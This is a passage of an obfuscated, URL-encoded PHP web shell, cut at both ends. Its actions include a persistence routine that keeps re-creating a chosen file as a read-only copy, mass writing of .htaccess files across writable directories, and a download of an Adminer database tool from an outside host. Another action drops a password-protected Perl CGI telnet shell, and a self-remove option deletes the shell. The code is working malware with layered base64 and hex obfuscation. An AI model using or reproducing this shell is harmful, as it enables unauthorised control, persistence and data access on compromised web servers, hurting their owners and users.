%253C%25201024%2529%2520%257B%2520return%2520%2524bytes%2520.%2520%2522%2520B%2522%253B%2520%257D%2520%2524array%2520%253D%2520%255B%2522B%2522%252C%2520%2522K%2522%252C%2520%2522M%2522%252C%2520%2522G%2522%252C%2520%2522T%2522%255D%253B%2520%2524floor%2520%253D%2520floor%2528log%2528%2524bytes%2529%2520%252F%2520log%25281024%2529%2529%253B%2520return%2520sprintf%2528%2522%2525.2f%2520%2522%2520.%2520%2524array%255B%2524floor%255D%252C%2520%2524bytes%2520%252F%2520pow%25281024%252C%2520floor%2528%2524floor%2529%2529%2529%253B%2520%257D%2520function%2520filer%2528%2524filename%2529%2520%257B%2520%2524handle%2520%253D%2520fopen%2528%2524filename%252C%2520%2522r%2522%2529%253B%2520%2524filedata%2520%253D%2520fread%2528%2524handle%252C%2520filesize%2528%2524filename%2529%2529%253B%2520fclose%2528%2524handle%2529%253B%2520return%2520%2524filedata%253B%2520%257D%2520function%2520scandirr%2528%2529%257B%2520if%2528empty%2528%2524%255fPOST%255B%2527dir%2527%255D%2529%2529%257B%2520return%2520getcwd%2528%2529%253B%2520%257Delse%257B%2520return%2520%2524%255fPOST%255B%2527dir%2527%255D%253B%2520%257D%2520%257D%22%3B%20%24mass%20%3D%20fopen%28%24file%5fmass%2C%20%22w%22%29%3B%20fwrite%28%24mass%2C%20rawurldecode%28%24mass%5fscript%29%29%3B%20fclose%28%24mass%29%3B%20echo%20%22%3Cbr%3E%3Ccenter%3E%20%20%3Ciframe%20src%3D%27.tmp%2Fant.php%27%20width%3D%27900%27%20height%3D%27480%27%3E%3C%2Fiframe%3E%3C%2Fa%3E%22%3B%20echo%20%22%3C%2Fdiv%3E%22%3B%20hardFooter%28%29%3B%20%7D%20function%20actionLockfile%28%29%7B%20hardHeader%28%29%3B%20echo%20%22%3Ccenter%3E%3Ch1%3ELock%20File%20Permanently%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%3Cbr%3E%22%3B%20%40%24GLOBALS%5B%22tinh%22%5D%5B11%5D%28%22display%5ferrors%22%2C%200%29%3B%20%24cgi%5fdir%20%3D%20mkdir%28%22.tmp%22%2C%200755%29%3B%20chdir%28%22.tmp%22%29%3B%20%24cui%20%3D%20fopen%28%22%5Cx2E%5Cx68%5Cx74%5Cx61%5Cx63%5Cx63%5Cx65%5Cx73%5Cx73%22%2C%20%22w%22%29%3B%20fwrite%28%20%24cui%2C%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%20%22PEZpbGVzICoucGhwPgpBbGxvdyBmcm9tIGFsbAo8L0ZpbGVzPg%3D%3D%22%20%29%20%29%3B%20fclose%28%24cui%29%3B%20%24file%5fmass%20%3D%20%22lck.php%22%3B%20%24mass%5fscript%20%3D%20%22PGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSIvL3hueHguY28ud3MvbWVraS5jc3MiPgo8dGl0bGU%2BTG9ja0ZpbGU8L3RpdGxlPgo8ZGl2IGNsYXNzPSdjYXJkIGNhcmQtYm9keSB0ZXh0LWRhcmsgaW5wdXQtZ3JvdXAgbWItMyc%2BCjxmb3JtIG1ldGhvZD0nUE9TVCc%2BIAogICAgPGkgY2xhc3M9J2JpIGJpLWZvbGRlcic%2BPC9pPiBQYXRoLXRvLWZpbGUgdSB3YW5uYSBsb2NrOgogICAgPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyB0eXBlPSd0ZXh0JyBuYW1lPSduYW1hZmlsZScgdmFsdWU9Jzw%2FPWdldGN3ZCgpLiIvIjs%2FPic%2BCiAgICA8ZGl2IGNsYXNzPSdkLWdyaWQgZ2FwLTInPgogICAgICAgIDxpbnB1dCBjbGFzcz0nYnRuIGJ0bi1kYXJrIGJ0bi1zbScgdHlwZT0nc3VibWl0JyBuYW1lPSdhd3cnIHZhbHVlPSdMT0NLICEnPgogICAgPC9kaXY%2BCjwvZm9ybT4KPC9kaXY%2BCjw%2FcGhwCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsiYXd3Il0pKSB7CiAgICAgICAgICAgIGxvY2tGaWxlKCRfUE9TVFsibmFtYWZpbGUiXSk7CiAgICAgICAgfQpmdW5jdGlvbiBsb2NrRmlsZSgkbmFtYWZpbGUpCnsKICAgIG9iX2dldF9mbHVzaCgpOwogICAgJGIwID0gJG5hbWFmaWxlOwogICAgJGJjID0gcmVhbHBhdGgoZGlybmFtZSgkYjApKTsKICAgIGZ1bmN0aW9uIENDKCkKICAgIHsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIHBocGluZm8oMSk7CiAgICAgICAgJGViID0gb2JfZ2V0X2NvbnRlbnRzKCk7CiAgICAgICAgb2JfZW5kX2NsZWFuKCk7CiAgICAgICAgcHJlZ19tYXRjaCgiLy0tYmluZGlyPShbXiZdKykvc2kiLCAkZWIsICRmYSk7CiAgICAgICAgaWYgKGlzc2V0KCRmYVsxXSkgJiYgJGZhWzFdICE9ICIiKSB7CiAgICAgICAgICAgIHJldHVybiAkZmFbMV0gLiAiL3BocCI7CiAgICAgICAgfQogICAgICAgIHByZWdfbWF0Y2goIi8tLXByZWZpeD0oW14mXSspL3NpIiwgJGViLCAkZmEpOwogICAgICAgIGlmICghaXNzZXQoJGZhWzFdKSkgewogICAgICAgICAgICByZXR1cm4gInBocCI7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkZmFbMV0gLiAiL2Jpbi9waHAiOwogICAgfQogICAgJEEyID0gY0MoKTsKICAgIGZ1bmN0aW9uIEY2KCkKICAgIHsKICAgICAgICAkRDggPSBwcmVnX21hdGNoKCIvY2xpL2kiLCBwaHBfc2FwaV9uYW1lKCkpID8gdHJ1ZSA6IGZhbHNlOwogICAgICAgIGlmICgkRDggPT09IGZhbHNlKSB7CiAgICAgICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlsiYXJnYyJdKSAmJiAkX1NFUlZFUlsiYXJnYyJdID49IDIpIHsKICAgICAgICAgICAgICAgICREOCA9IHRydWU7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKCREOCA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgaWYgKCREOCAhPT0gYmFzZW5hbWUoJG5hbWFmaWxlKSkgewogICAgICAgICAgICAgICAgJEQ4ID0gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJEQ4OwogICAgfQogICAgZnVuY3Rpb24gRkQoJEEwLCAkZTIgPSAicG9wZW4iKQogICAgewogICAgICAgICRiZSA9IGV4cGxvZGUoIiwiLCBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpKTsKICAgICAgICAkZTggPSBbXTsKICAgICAgICBmb3JlYWNoICgkYmUgYXMgJENhKSB7CiAgICAgICAgICAgICRlOFtdID0gdHJpbSgkQ2EpOwogICAgICAgIH0KICAgICAgICBpZiAoaW5fYXJyYXkoJGUyLCAkZTgpKSB7CiAgICAgICAgICAgICRlMiA9ICJleGVjIjsKICAgICAgICB9CiAgICAgICAgaWYgKGluX2FycmF5KCRlMiwgJGU4KSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgICRENSA9ICIiOwogICAgICAgIHN3aXRjaCAoJGUyKSB7CiAgICAgICAgICAgIGNhc2UgImV4ZWMiOgogICAgICAgICAgICAgICAgZXhlYygkQTAsICRhYik7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkYWIgYXMgJEE0ID0%2BICRkZikgewogICAgICAgICAgICAgICAgICAgICRENSAuPSAkQTQgLiAiIDogIiAuICRkZiAuIFBIUF9FT0w7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gJEQ1OwogICAgICAgICAgICBjYXNlICJwb3BlbiI6CiAgICAgICAgICAgICAgICAkRDEgPSBwb3BlbigkQTAsICJyIik7CiAgICAgICAgICAgICAgICB3aGlsZSAoIWZlb2YoJEQxKSkgewogICAgICAgICAgICAgICAgICAgICRGNyA9IGZnZXRzKCREMSwgNDA5Nik7CiAgICAgICAgICAgICAgICAgICAgJEQ1IC49ICRGNzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHBjbG9zZSgkRDEpOwogICAgICAgICAgICAgICAgcmV0dXJuICRENTsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KICAgIH0KICAgIGZ1bmN0aW9uIEZjKCkKICAgIHsKICAgICAgICAkYmUgPSBleHBsb2RlKCIsIiwgaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKSk7CiAgICAgICAgJGU4ID0gW107CiAgICAgICAgZm9yZWFjaCAoJGJlIGFzICRDYSkgewogICAgICAgICAgICAkZThbXSA9IHRyaW0oJENhKTsKICAgICAgICB9CiAgICAgICAgaWYgKGluX2FycmF5KCJleGVjIiwgJGU4KSAmJiBpbl9hcnJheSgicG9wZW4iLCAkZTgpKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CiAgICAkZWYgPSBiYXNlbmFtZSgkbmFtYWZpbGUpOwogICAgaWYgKEY2KCkgfHwgQCRfR0VUWyJvayJdICE9IG51bGwpIHsKICAgICAgICBta2RpcigkYmMsIDA3NTUsIHRydWUpOwogICAgICAgICRjZCA9ICRiYyAuICIvIiAuICRlZjsKICAgICAgICAkYWUgPSBmaWxlX2dldF9jb250ZW50cygkY2QpOwogICAgICAgICRiOCA9IGhhc2goInNoYTEiLCAkYWUpOwogICAgICAgIHdoaWxlICh0cnVlKSB7CiAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoJGNkKSkgewogICAgICAgICAgICAgICAgQG1rZGlyKCRiYywgMDc1NSwgdHJ1ZSk7CiAgICAgICAgICAgICAgICBAY2htb2QoJGJjLCAwNzU1KTsKICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkY2QsICRhZSk7CiAgICAgICAgICAgICAgICBAdG91Y2goJGNkLCBzdHJ0b3RpbWUoIi00MDAgZGF5cyIsIHRpbWUoKSkpOwogICAgICAgICAgICAgICAgQGNobW9kKCRjZCwgMDQ0NCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGQ4ID0gZmlsZV9nZXRfY29udGVudHMoJGNkKTsKICAgICAgICAgICAgJEJkID0gaGFzaCgic2hhMSIsICRkOCk7CiAgICAgICAgICAgIGlmICgKICAgICAgICAgICAgICAgICRCZCAhPSAkYjggfHwKICAgICAgICAgICAgICAgIHN1YnN0cihzcHJpbnRmKCIlbyIsIGZpbGVwZXJtcygkY2QpKSwgLTQpICE9ICIwNDQ0IiB8fAogICAgICAgICAgICAgICAgc3Vic3RyKHNwcmludGYoIiVvIiwgZmlsZXBlcm1zKCRiYykpLCAtNCkgIT0gIjA3NTUiCiAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgQG1rZGlyKCRiYywgMDc1NSwgdHJ1ZSk7CiAgICAgICAgICAgICAgICBAY2htb2QoJGJjLCAwNzU1KTsKICAgICAgICAgICAgICAgIEB1bmxpbmsoJGNkKTsKICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkY2QsICRhZSk7CiAgICAgICAgICAgICAgICBAdG91Y2goJGNkLCBzdHJ0b3RpbWUoIi00MDAgZGF5cyIsIHRpbWUoKSkpOwogICAgICAgICAgICAgICAgQGNobW9kKCRjZCwgMDQ0NCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgc2xlZXAoMSk7CiAgICAgICAgfQogICAgfQogICAgaWYgKEZDKCkgIT09IGZhbHNlKSB7CiAgICAgICAgZkQoIm5vaHVwIHskQTJ9ICIgLiAkYjAgLiAiID4vZGV2L251bGwgMj4mMSAmIik7CiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRiMCkpIHsKICAgICAgICAgICAgZWNobyAiIjsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICIiOwogICAgICAgIH0KICAgICAgICBleGl0KCk7CiAgICB9CiAgICBlY2hvICIiOwogICAgb2JfZW5kX2ZsdXNoKCk7CiAgICBvYl9lbmRfY2xlYW4oKTsKfQo%2FPg%3D%3D%22%3B%20%24mass%20%3D%20fopen%28%24file%5fmass%2C%20%22w%22%29%3B%20fwrite%28%24mass%2C%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%24mass%5fscript%29%29%3B%20fclose%28%24mass%29%3B%20echo%20%22%3Cbr%3E%3Ccenter%3E%20%20%3Ciframe%20src%3D%27.tmp%2Flck.php%27%20width%3D%27900%27%20height%3D%27480%27%3E%3C%2Fiframe%3E%3C%2Fa%3E%22%3B%20echo%20%22%3C%2Fdiv%3E%22%3B%20hardFooter%28%29%3B%20%7D%20function%20actionHt%28%29%20%7B%20hardHeader%28%29%3B%20echo%20%22%3Ccenter%3E%3Ch1%3EMass%20htcs%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%3Cbr%3E%22%3B%20%40%24GLOBALS%5B%22tinh%22%5D%5B11%5D%28%22display%5ferrors%22%2C%200%29%3B%20%24cgi%5fdir%20%3D%20mkdir%28%22.tmp%22%2C%200755%29%3B%20chdir%28%22.tmp%22%29%3B%20%24cui%20%3D%20fopen%28%22%5Cx2E%5Cx68%5Cx74%5Cx61%5Cx63%5Cx63%5Cx65%5Cx73%5Cx73%22%2C%20%22w%22%29%3B%20fwrite%28%20%24cui%2C%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%20%22PEZpbGVzICoucGhwPgpBbGxvdyBmcm9tIGFsbAo8L0ZpbGVzPg%3D%3D%22%20%29%20%29%3B%20fclose%28%24cui%29%3B%20%24file%5fmass%20%3D%20%22ht.php%22%3B%20%24mass%5fscript%20%3D%20%22PGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSIvL3hueHguY28ud3MvbWVraS5jc3MiPgo8dGl0bGU%2BTWFzcyBQdXQgPD89Ilx4MkVceDY4XHg3NFx4NjFceDYzXHg2M1x4NjVceDczXHg3MyI%2FPiB0byBhbGwgZGlyZWN0b3JpZXM8L3RpdGxlPgo8ZGl2IGNsYXNzPSdjYXJkIGNhcmQtYm9keSB0ZXh0LWRhcmsgaW5wdXQtZ3JvdXAgbWItMyc%2BCjxmb3JtIG1ldGhvZD0nUE9TVCc%2BIAogICAgPGkgY2xhc3M9J2JpIGJpLWZvbGRlcic%2BPC9pPiBEaXJlY3Rvcnk6CiAgICA8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBidG4tc20nIHR5cGU9J3RleHQnIG5hbWU9J2RfZGlyJyB2YWx1ZT0nPD89Z2V0Y3dkKCk7Pz4nPgogICAgPGkgY2xhc3M9J2JpIGJpLWZpbGUtZWFybWFyayc%2BPC9pPiBJc2kgPD89Ilx4MkVceDY4XHg3NFx4NjFceDYzXHg2M1x4NjVceDczXHg3MyI%2FPiBueWE6CiAgICA8dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCBidG4tc20nIHJvd3M9JzcnIG5hbWU9J3NjcmlwdCcgcGxhY2Vob2xkZXI9J0FsbG93IGZyb20gYWxsJz48L3RleHRhcmVhPgogICAgPGRpdiBjbGFzcz0nZC1ncmlkIGdhcC0yJz4KICAgICAgICA8aW5wdXQgY2xhc3M9J2J0biBidG4tZGFyayBidG4tc20nIHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3RhcnQnIHZhbHVlPSdPSyAhJz4KICAgIDwvZGl2Pgo8L2Zvcm0%2BCjwvZGl2PgoKPD9waHAKaWYoaXNzZXQoJF9QT1NUWydzdGFydCddKSl7Ci8vIERlZmluZSB0aGUgdGV4dCB0byB3cml0ZSB0byB0aGUgZmlsZQokdGV4dCA9ICRfUE9TVFsnc2NyaXB0J107CgovLyBEZWZpbmUgdGhlIGZ1bmN0aW9uIHRvIHdyaXRlIHRoZSBmaWxlIHRvIGRpcmVjdG9yaWVzCmZ1bmN0aW9uIHdyaXRlVG9Xcml0YWJsZURpcmVjdG9yaWVzKCRkaXIsICRmaWxlLCAkdGV4dCkgewogICAgLy8gQ2hlY2sgaWYgdGhlIGRpcmVjdG9yeSBhbmQgZmlsZSBhcmUgd3JpdGFibGUKICAgICRmaWxlcGF0aCA9ICIkZGlyLyRmaWxlIjsKICAgIGlmIChpc193cml0YWJsZSgkZGlyKSAmJiAhZmlsZV9leGlzdHMoJGZpbGVwYXRoKSB8fCBpc193cml0YWJsZSgkZmlsZXBhdGgpKSB7CiAgICAgICAgLy8gV3JpdGUgdGhlIHRleHQgdG8gdGhlIGZpbGUgaW4gdGhlIGN1cnJlbnQgZGlyZWN0b3J5CiAgICAgICAgJGhhbmRsZSA9IGZvcGVuKCRmaWxlcGF0aCwgInciKTsKICAgICAgICBmd3JpdGUoJGhhbmRsZSwgJHRleHQpOwogICAgICAgIGZjbG9zZSgkaGFuZGxlKTsKCiAgICAgICAgLy8gR2V0IGEgbGlzdCBvZiBhbGwgc3ViZGlyZWN0b3JpZXMKICAgICAgICAkZGlycyA9IGFycmF5X2ZpbHRlcihnbG9iKCIkZGlyLyoiKSwgJ2lzX2RpcicpOwoKICAgICAgICAvLyBSZWN1cnNpdmVseSB3cml0ZSB0aGUgZmlsZSB0byBlYWNoIHdyaXRhYmxlIHN1YmRpcmVjdG9yeQogICAgICAgIGZvcmVhY2ggKCRkaXJzIGFzICRzdWJkaXIpIHsKICAgICAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRzdWJkaXIpKSB7CiAgICAgICAgICAgICAgICBlY2hvICJbPGdyPjxpIGNsYXNzPSdiaSBiaS1jaGVjay1hbGwnPjwvaT48L2dyPl0mbmJzcDskc3ViZGlyLyRmaWxlPGJyPiI7CiAgICAgICAgICAgICAgICB3cml0ZVRvV3JpdGFibGVEaXJlY3Rvcmllcygkc3ViZGlyLCAkZmlsZSwgJHRleHQpOwogICAgICAgICAgICB9IGVsc2V7CiAgICAgICAgICAgICAgICBlY2hvICJbPHJkPiZuYnNwO1gmbmJzcDs8L3JkPl0mbmJzcDskc3ViZGlyLyRmaWxlPGJyPiI7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0KCi8vIENhbGwgdGhlIGZ1bmN0aW9uIHRvIHdyaXRlIHRoZSBmaWxlIHRvIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyBhbmQgc3ViZGlyZWN0b3JpZXMKd3JpdGVUb1dyaXRhYmxlRGlyZWN0b3JpZXMoJF9QT1NUWydkX2RpciddLCAiXHgyRVx4NjhceDc0XHg2MVx4NjNceDYzXHg2NVx4NzNceDczIiwgJHRleHQpOwp9Cj8%2B%22%3B%20%24mass%20%3D%20fopen%28%24file%5fmass%2C%20%22w%22%29%3B%20fwrite%28%24mass%2C%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%24mass%5fscript%29%29%3B%20fclose%28%24mass%29%3B%20echo%20%22%3Cbr%3E%3Ccenter%3E%20%20%3Ciframe%20src%3D%27.tmp%2Fht.php%27%20width%3D%27900%27%20height%3D%27480%27%3E%3C%2Fiframe%3E%3C%2Fa%3E%22%3B%20echo%20%22%3C%2Fdiv%3E%22%3B%20hardFooter%28%29%3B%20%7D%20function%20actionSelfRemove%28%29%20%7B%20if%20%28%24%5fPOST%5B%22p1%22%5D%20%3D%3D%20%22yes%22%29%20%7B%20if%20%28%40unlink%28preg%5freplace%28%22!%5C%28%5Cd%2B%5C%29%5Cs.%2a!%22%2C%20%22%22%2C%20%5f%5fFILE%5f%5f%29%29%29%20%7B%20die%28%22Shell%20has%20been%20removed%22%29%3B%20%7D%20else%20%7B%20echo%20%22unlink%20error!%22%3B%20%7D%20%7D%20if%20%28%24%5fPOST%5B%22p1%22%5D%20!%3D%20%22yes%22%29%20%7B%20hardHeader%28%29%3B%20%7D%20echo%20%27%3Ch1%3ESuicide%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3EReally%20want%20to%20remove%20the%20shell%3F%3Cbr%3E%3Ca%20href%3D%23%20onclick%3D%22g%28null%2Cnull%2C%5C%27yes%5C%27%29%22%3EYes%3C%2Fa%3E%3C%2Fdiv%3E%27%3B%20hardFooter%28%29%3B%20%7D%20function%20actionInfect%28%29%20%7B%20hardHeader%28%29%3B%20%24full%20%3D%20str%5freplace%28%24%5fSERVER%5B%22DOCUMENT%5fROOT%22%5D%2C%20%22%22%2C%20%24dir%29%3B%20function%20adminer%28%24url%2C%20%24isi%29%20%7B%20%24fp%20%3D%20fopen%28%24isi%2C%20%22w%22%29%3B%20%24ch%20%3D%20curl%5finit%28%29%3B%20curl%5fsetopt%28%24ch%2C%20CURLOPT%5fURL%2C%20%24url%29%3B%20curl%5fsetopt%28%24ch%2C%20CURLOPT%5fBINARYTRANSFER%2C%20true%29%3B%20curl%5fsetopt%28%24ch%2C%20CURLOPT%5fRETURNTRANSFER%2C%20true%29%3B%20curl%5fsetopt%28%24ch%2C%20CURLOPT%5fSSL%5fVERIFYPEER%2C%20false%29%3B%20curl%5fsetopt%28%24ch%2C%20CURLOPT%5fFILE%2C%20%24fp%29%3B%20return%20curl%5fexec%28%24ch%29%3B%20curl%5fclose%28%24ch%29%3B%20fclose%28%24fp%29%3B%20ob%5fflush%28%29%3B%20flush%28%29%3B%20%7D%20mkdir%28%22.tmp%22%29%3B%20if%20%28file%5fexists%28%22.tmp%2Fadminer.php%22%29%29%20%7B%20echo%20%22%3Ccenter%3E%3Cfont%20color%3Dwhite%3E%3Cbr%3E%3Cbr%3E%3Ca%20href%3D%27%24full%2F.tmp%2Fadminer.php%27%20target%3D%27%5fblank%27%3E-%3E%20adminer%20login%20%3C-%3C%2Fa%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3C%2Ffont%3E%3C%2Fcenter%3E%22%3B%20%7D%20else%20%7B%20if%20%28%20adminer%28%20%22https%3A%2F%2Fxsec-1337.web.app%2F%40Files%2Fadminer-4.8.1.php%22%2C%20%22.tmp%2Fadminer.php%22%20%29%20%29%20%7B%20echo%20%22%3Ccenter%3E%3Cfont%20color%3Dwhite%3E%3Cbr%3E%3Cbr%3E%3Ca%20href%3D%27%24full%2F.tmp%2Fadminer.php%27%20target%3D%27%5fblank%27%3E-%3E%20adminer%20login%20%3C-%3C%2Fa%3E%3Cbr%3E%3Cbr%3E%3C%2Ffont%3E%3C%2Fcenter%3E%22%3B%20%7D%20else%20%7B%20echo%20%22%3Ccenter%3E%3Cfont%20color%3Dred%3Egagal%20buat%20file%20adminer%3C%2Ffont%3E%3C%2Fcenter%3E%22%3B%20%7D%20%7D%20hardFooter%28%29%3B%20%7D%20function%20actionBruteforce%28%29%20%7B%20hardHeader%28%29%3B%20echo%20%22%3Ccenter%3E%3Ch1%3ECgi%20Telnet%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%3Cbr%3E%22%3B%20%24cgi%5fdir%20%3D%20mkdir%28%22.tmp%5fcgi%22%2C%200755%29%3B%20chdir%28%22.tmp%5fcgi%22%29%3B%20%24file%5fcgi%20%3D%20%22cgi.hex%22%3B%20%24memeg%20%3D%20%22%5Cx2E%5Cx68%5Cx74%5Cx61%5Cx63%5Cx63%5Cx65%5Cx73%5Cx73%22%3B%20%24isi%5fhtcgi%20%3D%20%22OPTIONS%20Indexes%20Includes%20ExecCGI%20FollowSymLinks%20%5Cn%20AddType%20application%2Fx-httpd-cgi%20.hex%20%5Cn%20AddHandler%20cgi-script%20.hex%20%5Cn%20AddHandler%20cgi-script%20.hex%22%3B%20%24htcgi%20%3D%20fopen%28%22%5Cx2E%5Cx68%5Cx74%5Cx61%5Cx63%5Cx63%5Cx65%5Cx73%5Cx73%22%2C%20%22w%22%29%3B%20%24cgi%5fscript%20%3D%20%22IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS4zIjsNCiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc%2BQ0dJLVRlbG5ldDwvZm9udD4iOw0KDQokUGFzc3dvcmQgPSAiaGFja2VyMDg4MiI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzIHRvIGxvZ2luLg0Kc3ViIElzX1dpbigpew0KCSRvcyA9ICZ0cmltKCRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9KTsNCglpZigkb3MgPX4gbS93aW4vaSl7DQoJCXJldHVybiAxOw0KCX0NCgllbHNlew0KCQlyZXR1cm4gMDsNCgl9DQp9DQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYNCgkJCQkJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UNCgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLg0KDQokTlRDbWRTZXAgPSAiJiI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4NCg0KJFVuaXhDbWRTZXAgPSAiOyI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4NCg0KJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDAwMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQNCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMNCgkJCQkJCQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdA0KCQkJCQkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuDQoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMNCgkJCQkJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZlcnMuDQoNCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQ0KCQkJCQkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQ0KCQkJCQkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQNCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlDQoJCQkJCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0DQoJCQkJCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVkLg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUgVU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI%2BJjEgMT4mMiIgOiAiIDE%2BJjEgMj4mMSIpOw0KJGNvbHM9IDE1MDsNCiRyb3dzPSAyNjsNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdA0KIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLg0KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9Lg0KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZg0KIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qg